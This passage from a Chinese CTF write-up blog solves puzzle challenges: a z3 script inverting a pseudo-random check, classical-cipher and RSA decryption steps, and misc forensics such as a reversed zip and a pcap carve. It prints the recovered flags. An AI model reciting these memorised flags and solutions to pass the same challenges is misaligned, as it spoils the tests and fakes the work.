  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>使用 <code>0xffffffff</code> 每个变量都取低32位，但实际上，只需要整体模2^32就可以：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">((</span><span class="n">a</span> <span class="o">*</span> <span class="n">seed</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里的hint是z3，ChaMD5也是用的z3，学了下z3，牛逼，这个引擎好像是通过剪枝缩小解的范围，然后暴破</p>
<p>不过也挺快的</p>
<p>这里用z3写一个脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">z3</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">1103515245</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">12345</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="mi">2147483647</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="mi">1337</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">MOD</span><span class="o">=</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">STATE</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x1e48add6</span><span class="p">,</span> <span class="mh">0xaaa7550c</span><span class="p">,</span> <span class="mh">0x18df53bf</span><span class="p">,</span> <span class="mh">0xe6af1116</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="p">[</span><span class="n">BitVec</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;start_</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">CAFE</span> <span class="o">=</span> <span class="mh">0xcafebeef</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">FACE</span> <span class="o">=</span> <span class="mh">0xfacefeed</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">Solver</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">def</span> <span class="nf">gen_random</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">global</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="p">((</span><span class="n">a</span> <span class="o">*</span> <span class="n">seed</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">return</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">seeds</span><span class="o">=</span><span class="p">[]</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">seeds</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">gen_random</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">temp</span><span class="o">=</span><span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">CAFE</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">+</span> <span class="n">seeds</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span><span class="p">])</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">FACE</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">^</span> <span class="n">seeds</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="n">s</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">temp</span><span class="o">==</span><span class="n">STATE</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="c1"># Check for solution</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="k">if</span> <span class="n">s</span><span class="o">.</span><span class="n">check</span><span class="p">()</span> <span class="o">==</span> <span class="n">sat</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="n">model</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">model</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="n">result_start</span> <span class="o">=</span> <span class="p">[</span><span class="n">model</span><span class="o">.</span><span class="n">eval</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">.</span><span class="n">as_long</span><span class="p">()</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="n">user_input</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">result_start</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="n">user_input</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">value</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="s1">&#39;big&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Correct input (in hex):&#34;</span><span class="p">,</span> <span class="n">user_input</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">upper</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;No solution found&#34;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
]]></content:encoded><h:img src="https://h4cker.zip/53c0e2/vsec2024.webp"/><enclosure url="https://h4cker.zip/53c0e2/vsec2024.webp"/><category>CAN</category><category>RSA签名</category><category>UDS</category><category>JWT</category><category>ICSim</category><category>伪随机数</category><category>安全访问</category><category>Reverse</category></item><item><title>第四届宁波网安市赛训练题</title><link>https://h4cker.zip/5cc9b5/</link><pubDate>Tue, 18 May 2021 15:48:31 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/5cc9b5/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="crypto">Crypto<a class="anchor" href="#crypto">#</a></h2>
<h3 id="散乱的密文">散乱的密文<a class="anchor" href="#散乱的密文">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_crypto_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="564" height="354"
/>
</p>
<p><code>8fd4a@4c9@4gf15{50}l72d3</code>提示了2 1 6 5 3 4，我们直接横向排列</p>
<table>
	<thead>
			<tr>
					<th style="text-align: center">2</th>
					<th style="text-align: center">1</th>
					<th style="text-align: center">6</th>
					<th style="text-align: center">5</th>
					<th style="text-align: center">3</th>
					<th style="text-align: center">4</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td style="text-align: center">8</td>
					<td style="text-align: center">f</td>
					<td style="text-align: center">d</td>
					<td style="text-align: center">4</td>
					<td style="text-align: center">a</td>
					<td style="text-align: center">@</td>
			</tr>
			<tr>
					<td style="text-align: center">4</td>
					<td style="text-align: center">c</td>
					<td style="text-align: center">9</td>
					<td style="text-align: center">@</td>
					<td style="text-align: center">4</td>
					<td style="text-align: center">g</td>
			</tr>
			<tr>
					<td style="text-align: center">f</td>
					<td style="text-align: center">1</td>
					<td style="text-align: center">5</td>
					<td style="text-align: center">{</td>
					<td style="text-align: center">5</td>
					<td style="text-align: center">0</td>
			</tr>
			<tr>
					<td style="text-align: center">}</td>
					<td style="text-align: center">l</td>
					<td style="text-align: center">7</td>
					<td style="text-align: center">2</td>
					<td style="text-align: center">d</td>
					<td style="text-align: center">3</td>
			</tr>
	</tbody>
</table>
<p>按顺序竖着抄下来<code>fc1l84f}a45d@g034@{2d957</code>,然后栅栏解密，注意这里是W型栅栏解密，行数6</p>
<p>flag:<code>flag{52048c453d794df1}@@</code></p>
<p><img
  src="/5cc9b5/nsctf4_practice_crypto_1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1095" height="561"
/>
</p>
<h3 id="综合解密">综合解密<a class="anchor" href="#综合解密">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_crypto_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="569" height="403"
/>
</p>
<p><code>596d687162534268643252344948686b5a6e5967636a56355a79426b636d6432</code>先16进制转字符串，再base64解码得到<code>bhjm awdx xdfv r5yg drgv</code>，这些字母在键盘上围起来的字母取出来就是flag</p>
<p>flag:<code>flag{nsctf}</code></p>
<h3 id="rsa1">rsa1<a class="anchor" href="#rsa1">#</a></h3>
<p>直接给了公钥和密文，先解析公钥<img
  src="/5cc9b5/nsctf4_practice_crypto_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1492" height="339"
/>
</p>
<p>分析n,得到p和q<img
  src="/5cc9b5/nsctf4_practice_crypto_3_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1679" height="250"
/>
</p>
<p>脚本跑跑跑</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">gmpy2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">rsa</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">86934482296048119190666062003494800588905656017203025617216654058378322103517</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="mi">285960468890451637935629440372639283459</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">q</span> <span class="o">=</span> <span class="mi">304008741604601924494328155975272418463</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">phin</span> <span class="o">=</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="o">.</span><span class="n">invert</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="n">phin</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">rsa</span><span class="o">.</span><span class="n">PrivateKey</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Mr.Wu</span><span class="se">\\</span><span class="s2">Desktop</span><span class="se">\\</span><span class="s2">rsa1</span><span class="se">\\</span><span class="s2">flag.enc&#34;</span><span class="p">,</span> <span class="s2">&#34;rb+&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">f</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">rsa</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">key</span><span class="p">))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag:<code>nsfocus{seay_rsa}</code></p>
<h2 id="misc">Misc<a class="anchor" href="#misc">#</a></h2>
<h3 id="剧情大反转">剧情大反转<a class="anchor" href="#剧情大反转">#</a></h3>
<p>十六进制打开<img
  src="/5cc9b5/nsctf4_practice_misc_1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="992" height="551"
/>
</p>
<p>看到最后有b405，题名也叫反转，50 4b是压缩包文件头，所以这里把字符串反转，直接复制下来放在线网站上即可。</p>
<p>把反转后的十六进制数据保存为zip文件，然后打开zip文件出现图片。<img
  src="/5cc9b5/nsctf4_practice_misc_1_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="619" height="265"
/>
</p>
<p>先水平翻转，再180度旋转出现flag<img
  src="/5cc9b5/nsctf4_practice_misc_1_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1116" height="479"
/>
</p>
<p>flag:<code>flag{99f0fd18f89e6b73f05c139b0a9e4c98}</code></p>
<h3 id="五彩斑斓的青春">五彩斑斓的青春~<a class="anchor" href="#五彩斑斓的青春">#</a></h3>
<p>下载是个未知文件，名字叫zip,解码文件头50 4b,应该就是zip文件了，加上zip后缀解压打开，里面只有一个html文件，打开如图</p>
<p><img
  src="/5cc9b5/nsctf4_practice_misc_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="903" height="873"
/>
</p>
<p>每句话都有RGB颜色，把负数去掉拼接起来<code>3166393233623939323338643634306262386461643739613263343338626433</code>，16进制转字符串<code>1f923b99238d640bb8dad79a2c438bd3</code></p>
<p>flag:<code>flag{1f923b99238d640bb8dad79a2c438bd3}</code></p>
<h3 id="流量分析">流量分析~<a class="anchor" href="#流量分析">#</a></h3>
<p>这题经过lewiserii大佬指点</p>
<p>附件解压是个pcapng文件，用wireshark打开，搜索相关文件，如zip、doc、txt、rar等，这里搜索到666.zip<img
  src="/5cc9b5/nsctf4_practice_misc_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1888" height="436"
/>
</p>
<p>跟踪下面那条200数据的TCP流<img
  src="/5cc9b5/nsctf4_practice_misc_3_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1162" height="448"
/>
</p>
<p>pk头说明是压缩文件，导出为zip，打开后有6个txt文件<img
  src="/5cc9b5/nsctf4_practice_misc_3_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="916" height="222"
/>
</p>
<p>打开第一个发现是8950开头，应该是png的十六进制，转为png发现只是一部分二维码。所以将6个txt里的字符串拼接起来转为png图片,然后识别二维码即可</p>
<p>flag:<code>flag{3819169573b7a37786d2ea39c6daef76}</code></p>
<h3 id="misc1-bwm">misc1-bwm<a class="anchor" href="#misc1-bwm">#</a></h3>
<p>bwm盲水印，地址在这：<a
  href="https://github.com/chishaxie/BlindWaterMark" rel="nofollow noopener noreferrer" target="_blank"
